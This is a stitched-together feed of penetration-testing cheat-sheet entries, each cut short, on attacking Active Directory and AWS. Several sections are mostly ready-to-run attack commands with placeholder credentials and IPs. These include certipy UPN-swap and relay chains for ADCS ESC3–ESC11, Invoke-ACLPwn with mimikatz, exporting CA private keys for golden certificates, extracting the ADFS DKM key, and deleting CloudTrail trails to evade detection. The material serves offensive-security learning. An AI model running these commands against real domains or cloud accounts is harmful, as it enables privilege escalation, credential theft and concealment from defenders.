ADACLScan.ps1 -Base "DC=contoso;DC=com" -Filter "(&(AdminCount=1))" -Scope subtree -EffectiveRightsPrincipal User1 -Output HTML -Show

Automate ACL exploit Invoke-ACLPwn:

./Invoke-ACL.ps1 -SharpHoundLocation .\sharphound.exe -mimiKatzLocation .\mimikatz.exe -Username 'user1' -Domain 'domain.local' -Password 'Welcome01!'

GenericAll/GenericWrite#

User/Computer#

We can set a SPN on a target account, request a Service Ticket (ST), then grab its hash and kerberoast it.

Active Directory - Certificate ESC Attacks

Sat, 25 Jul 2026 18:47:21 +0200

Active Directory - Certificate ESC1

Sat, 25 Jul 2026 18:47:21 +0200

ESC1 - Misconfigured Certificate Templates#

Domain Users can enroll in the VulnTemplate template, which can be used for client authentication and has ENROLLEE_SUPPLIES_SUBJECT set. This allows anyone to enroll in this template and specify an arbitrary Subject Alternative Name (i.e. as a DA). Allows additional identities to be bound to a certificate beyond the Subject.

Requirements

Template that allows for AD authentication
ENROLLEE_SUPPLIES_SUBJECT flag
[PKINIT] Client Authentication, Smart Card Logon, Any Purpose, or No EKU (Extended/Enhanced Key Usage)

Exploitation

Active Directory - Certificate ESC10

Sat, 25 Jul 2026 18:47:21 +0200

ESC10 – Weak Certificate Mapping - StrongCertificateBindingEnforcement#

Requirements:

StrongCertificateBindingEnforcement = 0.

Exploit:

# get user hash with shadowcredentials
certipy shadow auto -username "user@domain.local" -p "password" -account admin -dc-ip 10.10.10.10

# change user UPN
certipy account update -username "user@domain.local" -p "password" -user admin -upn administrator -dc-ip 10.10.10.10

# ask for certificate
certipy req -username "admin@domain.local" -hashes "hashes" -target "10.10.10.10" -ca 'DOMAIN-CA' -template 'user' -debug

# Rollback upn modification
certipy account update -username "user@domain.local" -p "password" -user admin -upn admin -dc-ip 10.10.10.10

# Connect with the certificate
certipy auth -pfx 'administrator.pfx' -domain "domain.local" -dc-ip 10.10.10.10

ESC10 – Weak Certificate Mapping - CertificateMappingMethods#

Requirements:

CertificateMappingMethods = 0x04.

Exploit:

certipy shadow auto -username "user@domain.local" -p "password" -account admin -dc-ip 10.10.10.10

# change user UPN to computer$
certipy account update -username "user@domain.local" -p "password" -user admin -upn 'computer$@domain.local' -dc-ip 10.10.10.10

# ask for certificate
certipy req -username "admin@domain.local" -hashes "3b60abbc25770511334b3829866b08f1" -target "10.10.10.10" -ca 'DOMAIN-CA' -template 'user' -debug

# Rollback upn modification
certipy account update -username "user@domain.local" -p "password" -user admin -upn admin -dc-ip 10.10.10.10

# Connect via schannel with the certificate 
certipy auth -pfx 'computer.pfx' -domain "domain.local" -dc-ip 10.10.10.10 -ldap-shell

References#

GOAD - part 14 - ADCS 5/7/9/10/11/13/14/15 - Mayfly - March 10, 2025

Active Directory - Certificate ESC11

Sat, 25 Jul 2026 18:47:21 +0200

ESC11 - Relaying NTLM to ICPR#

Encryption is not enforced for ICPR requests and Request Disposition is set to Issue.

Tools:

ly4k/Certipy - Certipy official
sploutchy/Certipy - Certipy fork
sploutchy/impacket - Impacket fork

Exploitation:

Look for Enforce Encryption for Requests: Disabled in certipy output.

certipy find -u user@dc1.lab.local -p 'REDACTED' -dc-ip 10.10.10.10 -stdout
Enforce Encryption for Requests : Disabled
ESC11: Encryption is not enforced for ICPR (RPC) requests.

Setup a relay using Impacket ntlmrelay and trigger a connection to it.

certipy relay -target rpc://dc.domain.local -ca 'DOMAIN-CA' -template DomainController
# or
ntlmrelayx.py -t rpc://10.10.10.10 -rpc-mode ICPR -icpr-ca-name lab-DC-CA -smb2support

Coerce authentication fomr a privileged account such as a Domain Controller.

Active Directory - Certificate ESC12

Sat, 25 Jul 2026 18:47:21 +0200

ESC12 - ADCS CA on YubiHSM#

The ESC12 vulnerability occurs when a Certificate Authority (CA) stores its private key on a YubiHSM2 device, which requires an authentication key (password) to access. This password is stored in the registry in cleartext, allowing an attacker with shell access to the CA server to recover the private key.

Requirements:

CA certificate
Shell access on the root CA server

Exploitation:

Active Directory - Certificate ESC13

Sat, 25 Jul 2026 18:47:21 +0200

ESC13 - Issuance Policy#

If a principal (user or computer) has enrollment rights on a certificate template configured with an issuance policy that has an OID group link, then this principal can enroll a certificate that allows obtaining access to the environment as a member of the group specified in the OID group link.

Requirements

The principal has enrollment rights on a certificate template
The certificate template has an issuance policy extension
The issuance policy has an OID group link to a group
The certificate template defines EKUs that enable client authentication

PS C:\> $ESC13Template = Get-ADObject "CN=ESC13Template,$TemplateContainer" -Properties nTSecurityDescriptor $ESC13Template.nTSecurityDescriptor.Access | ? {$_.IdentityReference -eq "DUMPSTER\ESC13User"}
AccessControlType : Allow

# check if there is an issuance policy in the msPKI-Certificate-Policy
PS C:\> Get-ADObject "CN=ESC13Template,$TemplateContainer" -Properties msPKI-Certificate-Policy
msPKI-Certificate-Policy : {1.3.6.1.4.1.311.21.8.4571196.1884641.3293620.10686285.12068043.134.3651508.12319448}

# check for OID group link
PS C:\> Get-ADObject "CN=12319448.2C2B96A74878E00434BEDD82A61861C5,$OIDContainer" -Properties DisplayName,msPKI-Cert-Template-OID,msDS-OIDToGroupLink
msDS-OIDToGroupLink : CN=ESC13Group,OU=Groups,OU=Tier0,DC=dumpster,DC=fire

# verify if ESC13Group is a Universal group
PS C:\> Get-ADGroup ESC13Group -Properties Members
GroupScope : Universal
Members : {}

Exploitation:

Active Directory - Certificate ESC14

Sat, 25 Jul 2026 18:47:21 +0200

ESC14 - altSecurityIdentities#

ESC14 is an Active Directory Certificate Services (ADCS) abuse technique that leverages the altSecurityIdentities attribute to perform explicit certificate mappings. This attribute allows administrators to associate specific certificates with user or computer accounts for authentication purposes. However, if an attacker gains write access to this attribute, they can add a mapping to a certificate they control, effectively impersonating the targeted account.

Domain administrators can manually associate certificates with a user in Active Directory by configuring the altSecurityIdentities attribute of the user object. This attribute supports six different values, categorized into three weak (insecure) mappings and three strong mappings.

Active Directory - Certificate ESC15

Sat, 25 Jul 2026 18:47:21 +0200

ESC15 - EKUwu Application Policies - CVE-2024-49019#

This technique now has a CVE number and was patched on November 12, See Active Directory Certificate Services Elevation of Privilege Vulnerability - CVE-2024-49019 for more information.

Requirements:

Template Schema Version 1
ENROLLEE_SUPPLIES_SUBJECT = True

Exploitation:

Detect the vulnerability from BloodHound data using the following cypher query.

MATCH p=(:Base)-[:MemberOf*0..]->()-[:Enroll|AllExtendedRights]->(ct:CertTemplate)-[:PublishedTo]->(:EnterpriseCA)-[:TrustedForNTAuth]->(:NTAuthStore)-[:NTAuthStoreFor]->(:Domain) WHERE ct.enrolleesuppliessubject = True AND ct.authenticationenabled = False AND ct.requiresmanagerapproval = False AND ct.schemaversion = 1 RETURN p

The Application Policies extension is a proprietary certificate extension with the OID 1.3.6.1.4.1.311, same as x509 EKUs. It was designed to allow users to specify additional use cases for certificates by utilizing the same OIDs as those in the Enhanced Key Usage extension. If there is a conflict between an Application Policy and an EKU, then Microsoft prefers the proprietary Application Policy.

Active Directory - Certificate ESC2

Sat, 25 Jul 2026 18:47:21 +0200

ESC2 - Misconfigured Certificate Templates#

Requirements

Allows requesters to specify a Subject Alternative Name (SAN) in the CSR as well as allows Any Purpose EKU (2.5.29.37.0)

Exploitation

Find template

PS > Get-ADObject -LDAPFilter '(&(objectclass=pkicertificatetemplate)(!(mspki-enrollment-flag:1.2.840.113556.1.4.804:=2))(|(mspki-ra-signature=0)(!(mspki-ra-signature=*)))(|(pkiextendedkeyusage=2.5.29.37.0)(!(pkiextendedkeyusage=*))))' -SearchBase 'CN=Configuration,DC=megacorp,DC=local'
# or
python bloodyAD.py -u john.doe -p 'Password123!' --host 192.168.100.1 -d bloody.lab get search --base 'CN=Configuration,DC=megacorp,DC=local' --filter '(&(objectclass=pkicertificatetemplate)(!(mspki-enrollment-flag:1.2.840.113556.1.4.804:=2))(|(mspki-ra-signature=0)(!(mspki-ra-signature=*)))(|(pkiextendedkeyusage=2.5.29.37.0)(!(pkiextendedkeyusage=*))))'

Request a certificate specifying the /altname as a domain admin like in ESC1 - Misconfigured Certificate Templates.

References#

Active Directory - Certificate ESC3

Sat, 25 Jul 2026 18:47:21 +0200

ESC3 - Misconfigured Enrollment Agent Templates#

ESC3 is when a certificate template specifies the Certificate Request Agent EKU (Enrollment Agent). This EKU can be used to request certificates on behalf of other users

Request a certificate based on the vulnerable certificate template ESC3.

$ certipy req 'corp.local/john:Passw0rd!@ca.corp.local' -ca 'corp-CA' -template 'ESC3'
[*] Saved certificate and private key to 'john.pfx'

Use the Certificate Request Agent certificate (-pfx) to request a certificate on behalf of other another user

certipy req 'corp.local/john:Passw0rd!@ca.corp.local' -ca 'corp-CA' -template 'User' -on-behalf-of 'corp\administrator' -pfx 'john.pfx'

References#

Active Directory - Certificate ESC4

Sat, 25 Jul 2026 18:47:21 +0200

ESC4 - Access Control Vulnerabilities#

Enabling the mspki-certificate-name-flag flag for a template that allows for domain authentication, allow attackers to “push a misconfiguration to a template leading to ESC1 vulnerability

Search for WriteProperty with value 00000000-0000-0000-0000-000000000000 using modifyCertTemplate

python3 modifyCertTemplate.py domain.local/user -k -no-pass -template user -dc-ip 10.10.10.10 -get-acl

Add the ENROLLEE_SUPPLIES_SUBJECT (ESS) flag to perform ESC1

python3 modifyCertTemplate.py domain.local/user -k -no-pass -template user -dc-ip 10.10.10.10 -add enrollee_supplies_subject -property mspki-Certificate-Name-Flag

# Add/remove ENROLLEE_SUPPLIES_SUBJECT flag from the WebServer template. 
C:\>StandIn.exe --adcs --filter WebServer --ess --add

Perform ESC1 and then restore the value

Active Directory - Certificate ESC5

Sat, 25 Jul 2026 18:47:21 +0200

ESC5 - Vulnerable PKI Object Access Control#

Escalate the privileges from Domain Administrator in the child domain into Enterprise Administrator at the forest root.

Requirements:

Add new templates to the “Certificate” Templates container
“WRITE” access to the pKIEnrollmentService object

Exploitation - Access Control:

Use PsExec to launch mmc as SYSTEM on the child DC: psexec.exe /accepteula -i -s mmc
Connect to “Configuration naming context” > “Certificate Template” container
Open certsrv.msc as SYSTEM and duplicate an existing template
Edit the properties of the template to:
- Granting enroll rights to a principal we control in the child domain.
- Including Client Authentication in the Application Policies.
- Allowing SANs in certificate requests.
- Not enabling manager approval or authorized signatures.
Publish the certificate template to the CA
- Publish by adding the template to the list in certificateTemplate property of CN=Services>CN=Public Key Services>CN=Enrollment Services>pkiEnrollmentService
Finally use the ESC1 vulnerability introduced in the duplicated template to issue a certificate impersonating an Enterprise Administrator.

Exploitation - Golden Certificate:

Active Directory - Certificate ESC6

Sat, 25 Jul 2026 18:47:21 +0200

ESC6 - EDITF_ATTRIBUTESUBJECTALTNAME2#

If this flag is set on the CA, any request (including when the subject is built from Active Directory) can have user defined values in the subject alternative name.

Exploitation

Use Certify.exe to check for UserSpecifiedSAN flag state which refers to the EDITF_ATTRIBUTESUBJECTALTNAME2 flag.
```
Certify.exe cas
```
Request a certificate for a template and add an altname, even though the default User template doesn’t normally allow to specify alternative names

Active Directory - Certificate ESC7

Sat, 25 Jul 2026 18:47:21 +0200

ESC7 - Vulnerable Certificate Authority Access Control#

Exploitation

Detect CAs that allow low privileged users the ManageCA or Manage Certificates permissions

Certify.exe find /vulnerable
# or
certipy find -enabled -u user@domain.local -p password -dc-ip 10.10.10.10

# add "Manage Certificates" privilege
certipy ca -ca 'DOMAIN-CA' -username user@domain.local -p GoldCrown -add-officer user -dc-ip 10.10.10.10 -target-ip 10.10.10.11

Change the CA settings to enable the SAN extension for all the templates under the vulnerable CA (ESC6)
```
Certify.exe setconfig /enablesan /restart
```

Request the certificate with the desired SAN.

Certify.exe request /template:User /altname:super.adm

Grant approval if required or disable the approval requirement

Active Directory - Certificate ESC8

Sat, 25 Jul 2026 18:47:21 +0200

Web Enrollment Endpoint#

Probe the endpoint by sending a request to:

http://<webserver-ip>/certsrv/certfnsp.aspx

A valid enrollment endpoint will respond with NTLM/Negotiate authentication headers (WWW-Authenticate).

The Web Enrollment role does not need to run on the CA itself; it can be hosted on any IIS server configured for delegation to the target CA.

In high-traffic environments, Web Enrollment is commonly deployed on a dedicated IIS server to offload traffic from the CA.

Active Directory - Certificate ESC9

Sat, 25 Jul 2026 18:47:21 +0200

ESC9 - No Security Extension#

Requirements

StrongCertificateBindingEnforcement set to 1 (default) or 0
Certificate contains the CT_FLAG_NO_SECURITY_EXTENSION flag in the msPKI-Enrollment-Flag value
Certificate specifies Any Client authentication EKU
GenericWrite over any account A to compromise any account B

Scenario

<John@corp.local> has GenericWrite over <Jane@corp.local>, and we want to compromise <Administrator@corp.local>. <Jane@corp.local> is allowed to enroll in the certificate template ESC9 that specifies the CT_FLAG_NO_SECURITY_EXTENSION flag in the msPKI-Enrollment-Flag value.

Active Directory - Certificate Services

Sat, 25 Jul 2026 18:47:21 +0200

Active Directory Certificate Services (AD CS) is a Microsoft Windows server role that provides a public key infrastructure (PKI). It allows you to create, manage, and distribute digital certificates, which are used to secure communication and transactions across a network.

ADCS Enumeration#

NetExec:

netexec ldap domain.lab -u username -p password -M adcs

ldapsearch:

ldapsearch -H ldap://dc_IP -x -LLL -D 'CN=<user>,OU=Users,DC=domain,DC=local' -w '<password>' -b "CN=Enrollment Services,CN=Public Key Services,CN=Services,CN=CONFIGURATION,DC=domain,DC=local" dNSHostName

certutil:

certutil.exe -config - -ping
certutil -dump

Certificate Enrollment#

DNS required (CT_FLAG_SUBJECT_ALT_REQUIRE_DNS or CT_FLAG_SUBJECT_ALT_REQUIRE_DOMAIN_DNS): only principals with their dNSHostName attribute set can enroll.

Active Directory - Enumeration

Sat, 25 Jul 2026 18:47:21 +0200

Using BloodHound#

Use the appropriate data collector to gather information for BloodHound or BloodHound Community Edition (CE) across various platforms.

BloodHoundAD/AzureHound for Azure Active Directory
BloodHoundAD/SharpHound for local Active Directory (C# collector)
FalconForceTeam/SOAPHound for local Active Directory (C# collector using ADWS)
g0h4n/RustHound-CE for local Active Directory (Rust collector)
NH-RED-TEAM/RustHound for local Active Directory (Rust collector)
fox-it/BloodHound.py for local Active Directory (Python collector)
coffeegist/bofhound for local Active Directory (Generate BloodHound compatible JSON from logs written by ldapsearch BOF, pyldapsearch and Brute Ratel’s LDAP Sentinel)
c3c/ADExplorerSnapshot.py for local Active Directory (Generate BloodHound compatible JSON from AD Explorer snapshot)
CrowdStrike/sccmhound for local Active Directory (C# collector using Microsoft Configuration Manager)
SpecterOps/MSSQLHound for MSSQL attack paths (BloodHound OpenGraph PowerShell collector)
SpecterOps/SnowHound for Snowflake attack paths (BloodHound OpenGraph PowerShell collector)
SpecterOps/GitHound for GitHub attack paths (BloodHound OpenGraph PowerShell collector)
SpecterOps/1PassHound for 1Password attack paths (BloodHound OpenGraph PowerShell collector)
TheSleekBoyCompany/AnsibleHound for Ansible WorX and Ansible Tower attack paths (BloodHound OpenGraph Go collector)
p0dalirius/sharehound - for Network Shares attack paths (BloodHound OpenGraph Python collector)
C0KERNEL/SecretHound - for secrets (BloodHound OpenGraph Python collector)
F41zK4r1m/GCP-Hound - for GCP attack path (BloodHound OpenGraph Python collector)
SpecterOps/ConfigManBearPig - for SCCM attack path (BloodHound OpenGraph PowerShell collector)

Examples:

Active Directory - Federation Services

Sat, 25 Jul 2026 18:47:21 +0200

Active Directory Federation Services (AD FS) is a software component developed by Microsoft that provides users with single sign-on (SSO) access to systems and applications located across organizational boundaries. It uses a claims-based access control authorization model to maintain application security and to provide seamless access to web-based applications that are hosted inside or outside the corporate network.

ADFS - DKM Master Key#

The DKM key is stored in the thumbnailPhoto attribute of the AD contact object.

$key=(Get-ADObject -filter 'ObjectClass -eq "Contact" -and name -ne "CryptoPolicy"' -SearchBase "CN=ADFS,CN=Microsoft,CN=Program Data,DC=domain,DC=local" -Properties thumbnailPhoto).thumbnailPhoto
[System.BitConverter]::ToString($key)

ADFS - Trust Relationship#

Gets the relying party trusts of the Federation Service.

Active Directory - Golden Certificate

Sat, 25 Jul 2026 18:47:21 +0200

A Golden Certificate is a maliciously crafted certificate that an attacker generates using the CA’s private key.

Obtain CA certificate#

Export the CA certificate including the private key:

GhostPack/Certify
```
Certify.exe manage-self --dump-certs
```

ly4k/Certipy

certipy ca -u 'administrator@corp.local' -p 'Passw0rd!' -ns '10.10.10.10' -target 'CA.CORP.LOCAL' -config 'CA.CORP.LOCAL\CORP-CA' -backup

windows-gui/certsrv.msc
- Open certsrv.msc
- Right click the CA -> All Tasks -> Back up CA...
- Follow the wizard but make sure to check Private key and CA certificate
windows-gui/certlm.msc
- Open certlm.msc
- Go to Personal -> Certificates
- Right click the CA signing certificate -> All Tasks -> Export
- Follow the wizard but make sure to choose Yes, export the private key
windows-commands/certutil

Active Directory - Group Policy Objects

Sat, 25 Jul 2026 18:47:21 +0200

Creators of a GPO are automatically granted explicit Edit settings, delete, modify security, which manifests as CreateChild, DeleteChild, Self, WriteProperty, DeleteTree, Delete, GenericRead, WriteDacl, WriteOwner

:triangular_flag_on_post: GPO Priorization : Organization Unit > Domain > Site > Local

GPO are stored in the DC in \\<domain.dns>\SYSVOL\<domain.dns>\Policies\<GPOName>\, inside two folders User and Machine. If you have the right to edit the GPO you can connect to the DC and replace the files. Planned Tasks are located at Machine\Preferences\ScheduledTasks.

Active Directory - Groups

Sat, 25 Jul 2026 18:47:21 +0200

Dangerous Built-in Groups Usage#

If you do not want modified ACLs to be overwritten every hour, you should change ACL template on the object CN=AdminSDHolder,CN=System or set adminCount attribute to 0 for the required object.

The AdminCount attribute is set to 1 automatically when a user is assigned to any privileged group, but it is never automatically unset when the user is removed from these group(s).

Active Directory - Integrated DNS - ADIDNS

Sat, 25 Jul 2026 18:47:21 +0200

ADIDNS zone DACL (Discretionary Access Control List) enables regular users to create child objects by default, attackers can leverage that and hijack traffic. Active Directory will need some time (~180 seconds) to sync LDAP changes via its DNS dynamic updates protocol.

LDAP-Based (Require authentication)#

Enumerate all records

adidnsdump -u DOMAIN\\user --print-zones dc.domain.corp (--dns-tcp)
# or
bloodyAD --host 10.10.10.10 -d example.lab -u username -p pass123 get dnsDump

Query a node

dnstool.py -u 'DOMAIN\user' -p 'password' --record '*' --action query $DomainController (--legacy)
# or
bloodyAD -u john.doe -p 'Password123!' --host 192.168.100.1 -d bloody.lab get search --base 'DC=DomainDnsZones,DC=bloody,DC=lab' --filter '(&(name=allmightyDC)(objectClass=dnsNode))' --attr dnsRecord

Add a node and attach a record

Active Directory - Linux

Sat, 25 Jul 2026 18:47:21 +0200

CCACHE ticket reuse from /tmp#

When tickets are set to be stored as a file on disk, the standard format and type is a CCACHE file. This is a simple binary file format to store Kerberos credentials. These files are typically stored in /tmp and scoped with 600 permissions

List the current ticket used for authentication with env | grep KRB5CCNAME. The format is portable and the ticket can be reused by setting the environment variable with export KRB5CCNAME=/tmp/ticket.ccache. Kerberos ticket name format is krb5cc_%{uid} where uid is the user UID.

Active Directory - Machine Account Quota

Sat, 25 Jul 2026 18:47:21 +0200

In Active Directory (AD), the MachineAccountQuota is a limit set on how many computer accounts a specific user or group can create in the domain.

When a user attempts to create a new computer account, AD checks the current number of computer accounts that the user has already created against the defined quota for that user or group.

However, Active Directory does not store the current count of created machine accounts directly in a user attribute. Instead, you would need to perform a query to count the machine accounts that were created by a specific user.

Active Directory - NTDS Dumping

Sat, 25 Jul 2026 18:47:21 +0200

You will need the following files to extract the ntds :

NTDS.dit file
SYSTEM hive (C:\Windows\System32\SYSTEM)

Usually you can find the ntds in two locations : systemroot\NTDS\ntds.dit and systemroot\System32\ntds.dit.

systemroot\NTDS\ntds.dit stores the database that is in use on a domain controller. It contains the values for the domain and a replica of the values for the forest (the Configuration container data).
systemroot\System32\ntds.dit is the distribution copy of the default directory that is used when you install Active Directory on a server running Windows Server 2003 or later to create a domain controller. Because this file is available, you can run the Active Directory Installation Wizard without having to use the server operating system CD.

However you can change the location to a custom one, you will need to query the registry to get the current location.

Active Directory - Read Only Domain Controller

Sat, 25 Jul 2026 18:47:21 +0200

RODCs are an alternative for Domain Controllers in less secure physical locations

Contains a filtered copy of AD (LAPS and Bitlocker keys are excluded)
Any user or group specified in the managedBy attribute of an RODC has local admin access to the RODC server

RODC Golden Ticket#

You can forge an RODC golden ticket and present it to a writable Domain Controller only for principals listed in the RODC’s msDS-RevealOnDemandGroup attribute and not in the RODC’s msDS-NeverRevealGroup attribute

RODC Key List Attack#

Requirements:

Active Directory - Recycle Bin

Sat, 25 Jul 2026 18:47:21 +0200

Details#

Deleted objects have a default retention time of 180 days
Recycle Bin path: CN=Directory Service,CN=Windows NT,CN=Services,CN=Configuration,DC=example,DC=com

Enable Active Directory Recycle Bin in PowerShell

Enable-ADOptionalFeature -Identity 'CN=Recycle Bin Feature,CN=Optional Features,CN=Directory Service,CN=Windows NT,CN=Services,CN=Configuration,DC=contoso,DC=com' -Scope ForestOrConfigurationSet -Target 'contoso.com'

Deleted Objects#

Requirements:

LIST_CHILD right on the Deleted Objects container
OID 1.2.840.113556.1.4.2064: shows deleted, tombstoned, and recycled

Exploitation:

List rights

bloodyAD -u user -d domain -p 'Password123!' --host 10.10.10.10 get search -c 1.2.840.113556.1.4.2064 --resolve-sd --attr ntsecuritydescriptor --base 'CN=Deleted Objects,DC=domain,DC=local' --filter "(objectClass=container)"

Check all rights from the requirements

bloodyAD --host 10.10.10.10 -d domain -u user -p 'Password123!' get writable --include-del

List deleted objects with bloodyAD

Active Directory - Tricks

Sat, 25 Jul 2026 18:47:21 +0200

Kerberos Clock Synchronization#

In Kerberos, time is used to ensure that tickets are valid. To achieve this, the clocks of all Kerberos clients and servers in a realm must be synchronized to within a certain tolerance. The default clock skew tolerance in Kerberos is 5 minutes, which means that the difference in time between the clocks of any two Kerberos entities should be no more than 5 minutes.

aka.ms Shortcuts

Sat, 25 Jul 2026 18:47:21 +0200

aka.ms is a URL shortening service used by Microsoft. It is commonly employed to create short, easily shareable links that redirect users to longer or more complex URLs, typically related to Microsoft services, products, or resources.

Azure Active Directory - Admins#

aka.ms	Command	Portal Blade
aka.ms/ad/ca	ca	Conditional Access
aka.ms/ad/cawhatif	cawhatif	Conditional Access What If
aka.ms/ad/pim	pim	Privileged Identity Management
aka.ms/ad/users	users	Users
aka.ms/ad/groups	groups	Groups
aka.ms/ad/devices	devices	Devices
aka.ms/ad/apps	apps	Enterprise Applications
aka.ms/ad/appreg	appreg	Application Registrations
aka.ms/ad/auth	auth	Authentication Methods Policies
aka.ms/ad/legacymfa	legacymfa	Legacy MFA
aka.ms/ad/guests	guests	Guest Access Settings
aka.ms/ad/logs	logs	Sign in Logs
aka.ms/ad/xtap	xtap	Cross Tenant Access Settings
aka.ms/ad/roles	roles	Azure AD Roles
aka.ms/ad/sspr	sspr	Password Reset
aka.ms/ad/security	security	Security
aka.ms/ad/mfaunblock	mfaunblock	MFA Unblock
aka.ms/ad/reviews	reviews	Access Reviews
aka.ms/ad/score	score	Secure Score
aka.ms/ad/license	license	Licenses
aka.ms/ad/synclog	synclog	AAD Connect Sync Errors
aka.ms/ad/adfslog	adfslog	ADFS Log
aka.ms/ad/consent	consent	Consents and Permissions
aka.ms/ad/support	support	Support
aka.ms/ad/list	list	List all these shortcuts

Microsoft Admin Portals#

aka.ms	Command	Page
aka.ms/admin	admin	M365 Admin Portal
aka.ms/azad	azad	Azure AD Portal
aka.ms/ge	ge	Graph Explorer
aka.ms/intune	intune	Intune
aka.ms/ppac	ppac	Power Platform

Microsoft Intune Portals#

aka.ms	Command	Page
aka.ms/in	in	Intune admin center
aka.ms/intuneshd	intuneshd	Intune service health
aka.ms/intunesupport	support	Get Intune Support
aka.ms/enrollmymac	enrollmymac	Download the Intune Company Portal for Macs

Microsoft 365 Defender#

aka.ms	Command	Portal Blade
aka.ms/de	de	Microsoft 365 Defender
aka.ms/de/incidents	incidents	Incidents
aka.ms/de/hunting	hunting	Hunting
aka.ms/de/actions	actions	Action Center
aka.ms/de/explorer	explorer	Explorer

Microsoft User Portals#

aka.ms	Page
aka.ms/sspr	Self Service Password Reset
aka.ms/mysecurity	My Security
aka.ms/myapps	My Apps
aka.ms/my-account	My Account
aka.ms/my-groups	My Groups
aka.ms/my-access	My Access Packages
aka.ms/mystaff	My Access Packages
aka.ms/mfasetup	Alternative for My Security

Identity Protection#

aka.ms	Page
aka.ms/identityprotection	Identity Protection

Winget (Windows Package Manager)#

aka.ms	Page
aka.ms/getwinget	Get Winget Installer
aka.ms/winget-docs	Winget Documentation
aka.ms/winget	Winget Packages (Github Repo)

Miscellaneous#

aka.ms	Page
aka.ms/entradeprecations	Entra/Azure AD related retirements/deprecations
aka.ms/entratemplates	Email templates & posters to roll out Azure Active Directory features
aka.ms/Fileshare Migration	Fileshare Migration Portal

References#

Android Application

Sat, 25 Jul 2026 18:47:21 +0200

Lab#

payatu/diva-android - Damn Insecure and vulnerable App for Android
HTB VIP - Pinned - Hack The Box challenge
HTB VIP - Manager - Hack The Box challenge

Extract APK#

ADB Method#

Connect to ADB shell and list/download packages. You might need to enable Developer mode and Debugging in order to connect with adb

adb shell pm list packages
adb shell pm path com.example.someapp
adb pull /data/app/com.example.someapp-2.apk

Stores#

Warning: Downloading APK files from unofficial stores can compromise your device’s security. These sources often host malware and malicious software. Always use trusted and official app stores for downloads.

AS400

Sat, 25 Jul 2026 18:47:21 +0200

AS400 (IBM i) is a midrange computer system developed by IBM, originally released in 1988. Now known as IBM i running on Power Systems, it is widely used for business applications due to its stability, security, and integrated database (DB2 for i)

Summary#

Lab
Enumeration
Access and Audit
Default Credentials
User Enumeration
- Telnet
- POP3
- FTP
Useful Commands
NMAP Scripts
User Class
Authority
Special Authority
Adopted Authority
Password Cracking
Privilege Escalation
References

Lab#

mainframed/DC30_Workshop - DEFCON 30 Mainframe buffer overlow workshop container

AWS - Access Token & Secrets

Sat, 25 Jul 2026 18:47:21 +0200

URL Services#

Service	URL
s3	`https://{user_provided}.s3.amazonaws.com`
cloudfront	`https://{random_id}.cloudfront.net`
ec2	`https://ec2-{ip-seperated}.compute-1.amazonaws.com`
es	`https://{user_provided}-{random_id}.{region}.es.amazonaws.com`
elb	`http://{user_provided}-{random_id}.{region}.elb.amazonaws.com:80/443`
elbv2	`https://{user_provided}-{random_id}.{region}.elb.amazonaws.com`
rds	`mysql://{user_provided}.{random_id}.{region}.rds.amazonaws.com:3306`
rds	`postgres://{user_provided}.{random_id}.{region}.rds.amazonaws.com:5432`
route 53	`{user_provided}`
execute-api	`https://{random_id}.execute-api.{region}.amazonaws.com/{user_provided}`
cloudsearch	`https://doc-{user_provided}-{random_id}.{region}.cloudsearch.amazonaws.com`
transfer	`sftp://s-{random_id}.server.transfer.{region}.amazonaws.com`
iot	`mqtt://{random_id}.iot.{region}.amazonaws.com:8883`
iot	`https://{random_id}.iot.{region}.amazonaws.com:8443`
iot	`https://{random_id}.iot.{region}.amazonaws.com:443`
mq	`https://b-{random_id}-{1,2}.mq.{region}.amazonaws.com:8162`
mq	`ssl://b-{random_id}-{1,2}.mq.{region}.amazonaws.com:61617`
kafka	`b-{1,2,3,4}.{user_provided}.{random_id}.c{1,2}.kafka.{region}.amazonaws.com`
kafka	`{user_provided}.{random_id}.c{1,2}.kafka.useast-1.amazonaws.com`
cloud9	`https://{random_id}.vfs.cloud9.{region}.amazonaws.com`
mediastore	`https://{random_id}.data.mediastore.{region}.amazonaws.com`
kinesisvideo	`https://{random_id}.kinesisvideo.{region}.amazonaws.com`
mediaconvert	`https://{random_id}.mediaconvert.{region}.amazonaws.com`
mediapackage	`https://{random_id}.mediapackage.{region}.amazonaws.com/in/v1/{random_id}/channel`

Access Key ID & Secret#

IAM uses the following prefixes to indicate what type of resource each unique ID applies to. The first four characters are the prefix that depends on the type of the key.

AWS - CLI

Sat, 25 Jul 2026 18:47:21 +0200

The AWS Command Line Interface (CLI) is a unified tool to manage AWS services from the command line. Using the AWS CLI, you can control multiple AWS services, automate tasks, and manage configurations through profiles.

Set up AWS CLI#

Install AWS CLI and configure it for the first time:

aws configure

This will prompt for:

AWS Access Key ID
AWS Secret Access Key
Default region name
Default output format

Creating Profiles#

You can configure multiple profiles in ~/.aws/credentials and ~/.aws/config.

AWS - Enumerate

Sat, 25 Jul 2026 18:47:21 +0200

Collectors#

nccgroup/ScoutSuite - Multi-Cloud Security Auditing Tool

$ python scout.py PROVIDER --help
# The --session-token is optional and only used for temporary credentials (i.e. role assumption).
$ python scout.py aws --access-keys --access-key-id <AKIAIOSFODNN7EXAMPLE> --secret-access-key <wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY> --session-token <token>
$ python scout.py azure --cli

RhinoSecurityLabs/pacu - Exploit configuration flaws within an AWS environment using an extensible collection of modules with a diverse feature-set

$ bash install.sh
$ python3 pacu.py
set_keys/swap_keys
run <module_name> [--keyword-arguments]
run <module_name> --regions eu-west-1,us-west-1

salesforce/cloudsplaining - An AWS IAM Security Assessment tool that identifies violations of least privilege and generates a risk-prioritized report

AWS - Identity & Access Management

Sat, 25 Jul 2026 18:47:21 +0200

Listing IAM access Keys#

aws iam list-access-keys

Listing IAM Users and Groups#

aws iam list-users
aws iam list-groups

Get IAM Details#

aws iam get-account-authorization-details > iam.json

Assume a Specific Role#

aws sts assume-role --role-arn arn:aws:iam::${accountId}:role/${roleName} --role-session-name ${roleName}

Retrieve the MFA device ARN:

aws iam list-mfa-devices

Then create the session token:

aws sts get-session-token --serial-number ${arnMFADevice} --token-code ${MFACode}

Shadow Admin#

Admin equivalent permission#

AdministratorAccess

AWS - IOC & Detections

Sat, 25 Jul 2026 18:47:21 +0200

CloudTrail#

Disable CloudTrail#

aws cloudtrail delete-trail --name cloudgoat_trail --profile administrator

Disable monitoring of events from global services

aws cloudtrail update-trail --name cloudgoat_trail --no-include-global-service-event

Disable Cloud Trail on specific regions

